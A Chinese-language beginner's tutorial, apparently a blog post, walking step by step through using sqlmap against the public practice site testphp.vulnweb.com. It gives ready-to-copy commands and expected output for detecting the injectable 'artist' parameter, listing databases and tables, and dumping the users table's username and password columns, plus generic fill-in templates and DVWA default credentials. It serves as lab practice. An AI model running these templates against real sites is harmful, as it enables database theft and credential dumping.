SQLMap 注入完整操作流程(新手通关手册)

一、前期准备

1. 工具环境

  • 工具:sqlmap - 中文汉化 - 1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6
  • 运行命令前缀:python3 sqlmap.py
  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

靶场类型 地址 问题 / 优势
初始尝试(DVWA) http://192.168.1.4/dvwa 缺点:PHPSESSID 会话易失效,sqlmap 被重定向到login.php,检测失败
最终成功(公开) http://testphp.vulnweb.com/artists.php?artist=1 优势:无登录态、100% 有注入漏洞、外网可访问、支持完整数据提取

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6
  • Web 服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40
  • 核心注入参数:GET 参数 artist(URL 自带?artist=1
  • 可提取数据库:2 个(acuart 业务库、information_schema 系统库)
  • 关键表:acuart库下 8 张表(users用户表、products商品表为核心)

二、完整操作流程(按顺序执行,可直接复制)

步骤 1:验证连通性 + 检测注入点

操作目的 :确认靶场可访问,检测artist参数是否可注入

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标 URL(必须带?artist=1参数)
  • --batch:自动确认所有交互选项(无需手动回车)
  • --dbs:提取所有数据库列表
  • -v 1:显示基础日志,便于排查问题

预期结果:✅ 识别 4 种注入类型:布尔盲注、报错注入、时间盲注、UNION 联合查询

✅ 提取 2 个数据库:acuart(业务库)、information_schema(系统库)

✅ 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤 2:提取acuart数据库的所有表

操作目的 :定位核心表(users/products

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定数据库(必须小写,与提取结果一致)
  • --tables:提取指定库的所有表

预期结果

plaintext

复制代码
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |  # 含真实商品数据
| users     |   # 用户表(靶场清空数据)
+-----------+

步骤 3:提取users表的账号密码(脱裤尝试)

操作目的:尝试提取用户凭证(验证流程)

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定表名
  • -C username,password:指定提取字段(英文逗号分隔)
  • --dump:导出字段数据(核心 "脱裤" 操作)

预期结果:表结构存在但数据为空(靶场防护,非操作错误)

plaintext

复制代码
Database: acuart
Table: users
[1 entry]
+----------+----------+
| username | password |
+----------+----------+
| <blank>  | <blank>  |
+----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤 4:提取products表的真实商品数据(验证流程)

操作目的:验证注入流程完整性(核心成功标志)

bash

运行

复制代码
python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

预期结果:提取到 3 条真实商品数据

plaintext

复制代码
Database: acuart
Table: products
[3 entries]
+----+---------------------------------------------------+-------+
| id | name                                              | price |
+----+---------------------------------------------------+-------+
| 1  | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359   |
| 2  | Web Camera A4Tech PK-335E                         | 10    |
| 3  | Laser Color Printer HP LaserJet M551dn, A4        | 812   |
+----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关

  • 核心 URL 不可错:http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1
  • 靶场性质:OWASP 官方公开靶场,合法合规使用
  • 数据特点:users表空(防护)、products表有真实数据(验证用)

2. 命令参数

  • 大小写敏感:-D acuartacuart必须小写,错写会提取失败
  • --batch不可省:避免手动输入打断流程
  • -v 1:基础日志(排查问题可改-v 2

3. 常见问题排查

问题现象 排查方案
无法连接目标 URL 复制 URL 到浏览器,确认能打开、网络通畅
提取数据为空(非 users 表) 检查-D/-T/-C名称是否与前一步结果一致(无空格、无错别字)
被重定向到 DVWA 登录页 重新登录 DVWA(账号admin/ 密码password),立即复制最新PHPSESSID

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点提取数据库列表提取目标库表列表提取目标表字段数据导出数据

2. 核心命令速记(公式化,不用死记完整命令)

操作 命令公式(填空即可)
检测 + 提库 python3 sqlmap.py -u "【靶场URL】" --batch --dbs -v 1
提表 python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 --tables -v 1
提数据 python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 -T 【表名】 -C 【字段】 --dump -v 1

3. 关键经验

  1. 新手优先选无登录态的公开靶场(如testphp.vulnweb.com),避开本地靶场配置坑
  2. 每步执行前,确认上一步结果(如先提库,再用库名提表)
  3. 数据为空≠操作失败,可能是靶场防护(换表验证即可)

补充(明天预习用)

✅ 重点练:SQLi Labs 第 21 关(Cookie 注入 + MD5 密文破解),流程会衔接今晚的内容,只新增 "密文解密" 步骤,不用额外记新命令~

✅ 复盘技巧:先按 "公式" 填参数,再复制执行,重点记 "流程逻辑" 而非 "完整命令",练 2 遍就能记住。

相关推荐
M78佐菲2 小时前
ARM学习笔记(1)
linux·arm开发·笔记·嵌入式硬件·学习
大模型任我行3 小时前
谷歌:“课程学习”融入扩散模型强化学习
人工智能·语言模型·自然语言处理·论文笔记
AIGCmagic社区3 小时前
具身智能专题:机器人也有Scaling Law?智元GE-Act 2.0用3万小时真机数据给出答案
人工智能·aigc·具身智能
Rosanci4 小时前
谷歌浏览器插件开发实战指南:从 Hello World 到上架发布
大数据·人工智能·chrome·程序人生
益达丫4 小时前
Socket编程揭秘:端口、IP与进程通信的底层逻辑
linux·笔记
明月_清风4 小时前
AI 越来越强,程序员真正的价值到底是什么?
人工智能·后端
m0_466525294 小时前
云从科技上线云起ModelHub:AI团队时代的模型算力基础设施
大数据·人工智能·科技
火山引擎开发者社区4 小时前
OpenViking:给 Codex 加上长期记忆
人工智能
荆棘鸟智能5 小时前
城市感知设备怎么统一接入?从多协议网关到设备模型的中间件架构设计
人工智能·算法·边缘计算
无敌贵点大王5 小时前
RTThread学习记录11——RT-Thread 设备模型吃透:UART/ADC/PWM/PIN 到底有什么区别?
c语言·stm32·学习·链表